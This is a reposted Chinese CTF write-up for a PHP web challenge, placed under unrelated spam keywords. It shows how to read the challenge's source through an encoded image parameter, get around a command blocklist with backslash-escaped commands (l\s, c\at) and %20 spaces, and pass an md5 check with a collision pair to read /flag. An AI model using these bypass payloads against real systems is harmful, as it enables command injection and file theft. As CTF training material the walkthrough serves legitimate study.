当前位置: 首页> 房产> 市场 > 哪个平台可以定制衣服_优化新十条_国内新闻摘抄2022年_网络营销和推广做什么

哪个平台可以定制衣服_优化新十条_国内新闻摘抄2022年_网络营销和推广做什么

时间:2025/7/12 20:40:51来源:https://blog.csdn.net/weixin_73904941/article/details/143575723 浏览次数:0次
哪个平台可以定制衣服_优化新十条_国内新闻摘抄2022年_网络营销和推广做什么

知识点:

编码转换

命令执行

linux空格_关键字绕过

打开页面 发现url 是 /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=


有img参数和cmd参数  cmd参数是没赋值的,随便赋值为123456   页面没有反应
鼠标移动到图片下面时发现有东西,当然直接查看页面源代码也可以发现


尝试输入ls  回显变成了 forbid ~  被禁止了
回过头来观察img参数,TXpVek5UTTFNbVUzTURabE5qYz0 

很像base64编码 解码一次得到MzUzNTM1MmU3MDZlNjc=  更像base64了
再次解码  3535352e706e67 格式很像16进制字符,转为ascii字符串 得到555.png

或者直接用一把梭工具得到结果,使用ciphey 或者 cyberchef 都可以一步到位

 

直接访问555.png没有信息,img换成555.png也没用,cmd换成555.png也没用

尝试按照题目中的格式,对一个文件进行16进制转换,然后再进行两次base64编码 传给img参数
把index.php 按照上述操作编码得到结果   TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
传给img参数之后查看源码,复制图片对应的base64编码值,解码得到index.php源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixiï½ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}

对cmd参数进行了正则过滤,禁止了大多数查看文件的命令,其实还可以用sort

其中的\xA0过滤了16进制为0xa0的字符,也就是空格,所以需要绕过空格,同时过滤了$,不能使用${IFS} $IFS$1这种格式,%09尝试发现不可行,可以用%20 代替空格

这里正则还过滤了很多符号 看起来  |\\|\\\\|   这个部分过滤了\  其实并没有
|\\|\\\\|  这里先经过字符串解析为 |\|\\| 再经过正则表达式解析变成 | |\ |  所以这里其实是过滤了 |\
但是这里输入|\也会被禁止,是因为后面禁止了|    单独输入\ 是不会被过滤的

如果不清楚php字符串和正则表达式中的转义规则和操作,可以看一下我这篇文章

详解PHP正则表达式中的转义操作_php特殊字符转义-CSDN博客文章浏览阅读1.5k次,点赞39次,收藏19次。在 PHP 正则表达式中,有许多特殊字符具有特定的意义。这些特殊字符通常用于定义匹配模式的一部分,或者改变匹配的行为.比如,如果希望匹配一个"*"字符的字面意思,就需要在模式中写为 "\*",表示匹配的是*星号本身,而不是它的特殊含义,如果要匹配 \ 反斜线本身,也需要一个转义符转义 也就是"\\" 同时反斜线在 PHP 字符串 中也有特殊含义,因此也需要反斜线 \进行转义,最后要写成 "\\\\" 下面就探究一下PHP字符串和正则表达式中的转义操作_php特殊字符转义https://blog.csdn.net/weixin_73904941/article/details/143189318?spm=1001.2014.3001.5501

既然没过滤符号\ 正则匹配函数用的是preg_match,因此这里的过滤都是很容易绕过的

可以使用l\s代替ls绕过匹配,在preg_match函数中效果是一样的 cat命令也可以c\at这样绕过  
这里过滤了单双引号 所以不能用 l''s绕过

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;

这里强制变成string类型再进行比较,如果传入的是数组结果就都转换成array了,所以不能数组绕过,而且md5还是强比较,所以进行md5碰撞,让两个值md5加密后相等

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2  
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这里用hackbar传参我自己测试是不行的,得用burpsuite抓包传参,这里img参数的值没影响


查看根目录下文件,空格用%20代替    l\s%20/  发现flag文件
c\at%20/flag    或者  sort%20/flag  都可以得到flag

关键字:哪个平台可以定制衣服_优化新十条_国内新闻摘抄2022年_网络营销和推广做什么

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: